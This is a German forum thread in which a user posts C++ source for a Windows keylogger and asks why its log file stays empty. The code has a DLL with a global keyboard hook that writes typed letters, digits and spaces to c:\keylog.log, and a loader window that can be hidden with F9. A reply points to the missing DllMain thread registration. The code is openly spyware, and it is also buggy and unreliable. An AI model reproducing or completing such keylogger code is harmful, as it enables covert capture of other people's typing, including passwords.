Keyboardhook will net :(



  • Hi,

    ich hab einen keyboardhooker in einer dll welcher mir die gedrückten tasten in einer log abspeichern soll! doch der mist will nicht 😞 und die log ist leer 😞

    hier der code

    // DLL
    #include <windows.h>
    #include <fstream.h>
    #include <stdio.h>
    bool casematch;
    SHORT ad;
    char res;
    LRESULT CALLBACK KeyboardHookProc( int code,WPARAM key, LPARAM lParam)
    {
    ofstream out;
    		out.open("c:\\keylog.log",ofstream::out | ofstream::app);
    
       if (code != HC_NOREMOVE) 
    
       if (lParam<0)
    	   if (((key>45) && (key<91)) || (key==32) )//This part captures only the following keystokes a-z ,0-9 and the space key
    
       {
    
    	   res=char(key);
    
    ad=GetKeyState(VK_SHIFT);
     	   if (ad < 0)
     casematch= TRUE;
    	   else
    		   casematch=FALSE;
    	   if (casematch==FALSE) 
    		   strlwr(&res);
    	   if (casematch==TRUE)
    		   strupr(&res);
      out<<res;
    
      	   }
       out.close();
       flush(out);  
    
        return CallNextHookEx(NULL, code, key, lParam);
    }
    

    main.cpp

    # include <windows.h>
    
    LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM);
    BOOL CALLBACK em( HWND, LPCTSTR, HANDLE);
    
    HWND hwnd;
    MSG msg;
    WNDCLASS wc;
    int count;
    LPCTSTR arr[225];
    int WINAPI WinMain(HINSTANCE hinst,HINSTANCE hprev,LPSTR line,int cmd)
    
    {
    count=1;
    	wc.lpfnWndProc=WndProc;
    	wc.hbrBackground=(HBRUSH)GetStockObject(LTGRAY_BRUSH);
    	wc.hCursor=LoadCursor(0,IDC_ARROW);
    	wc.lpszClassName="KeyLogger";
    	wc.hIcon=LoadIcon(0,IDI_APPLICATION);
    	RegisterClass(&wc);
    
    	hwnd=CreateWindow("KeyLogger","KeyLogger - venky_dude",WS_OVERLAPPEDWINDOW,10,10,250,75,0,0,hinst,0);
     HWND hwnd2= CreateWindowEx(0,"Static","Press F9 to Hide ", WS_BORDER | WS_CHILD | WS_VISIBLE ,30,0,150,20,hwnd,0,hinst,0); 
     HWND hwnd3= CreateWindowEx(0,"Static","Press F10 to UnHide ", WS_BORDER | WS_CHILD | WS_VISIBLE ,30,20,150,20,hwnd,0,hinst,0); 
    
    	ShowWindow(hwnd,SW_NORMAL);
    SetTimer(hwnd,1,125,0);
    FARPROC		KeylogHookProc;
    HINSTANCE	KeylogDLL;
    HHOOK		KeylogHook;
    
    KeylogDLL=LoadLibrary("keylogger.dll");
    
    KeylogHookProc=GetProcAddress(KeylogDLL,"KeyboardHookProc");
    DWORD rt=GetLastError();
    KeylogHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeylogHookProc,KeylogDLL,NULL);
    
     while(GetMessage(&msg,NULL,0,0))
    	{
    		TranslateMessage(&msg);
    		DispatchMessage(&msg);
    	}
    	return(0);
    
    }
    
    LRESULT CALLBACK WndProc(HWND hwnd1,UINT msg1,WPARAM w_param,LPARAM l_param)
    {
    
    	if (msg1==WM_DESTROY)
    		PostQuitMessage(0);
    if(msg1==WM_TIMER)
    {
    
    	if (GetAsyncKeyState(VK_F9))
    		ShowWindow(hwnd,SW_HIDE);
    if (GetAsyncKeyState(VK_F10))
    		ShowWindow(hwnd,SW_SHOWNORMAL);
    }
    	return DefWindowProc(hwnd1,msg1,w_param,l_param);
    }
    

    Bitte helft mir 😞



  • Du hast DllMain() in der DLL vergessen.

    Dort musst Du fuer jeden ATTACH_THREAD bzw. DETACH_THREAD Deine Hookfunktion registrieren bzw. deregistrieren.


Anmelden zum Antworten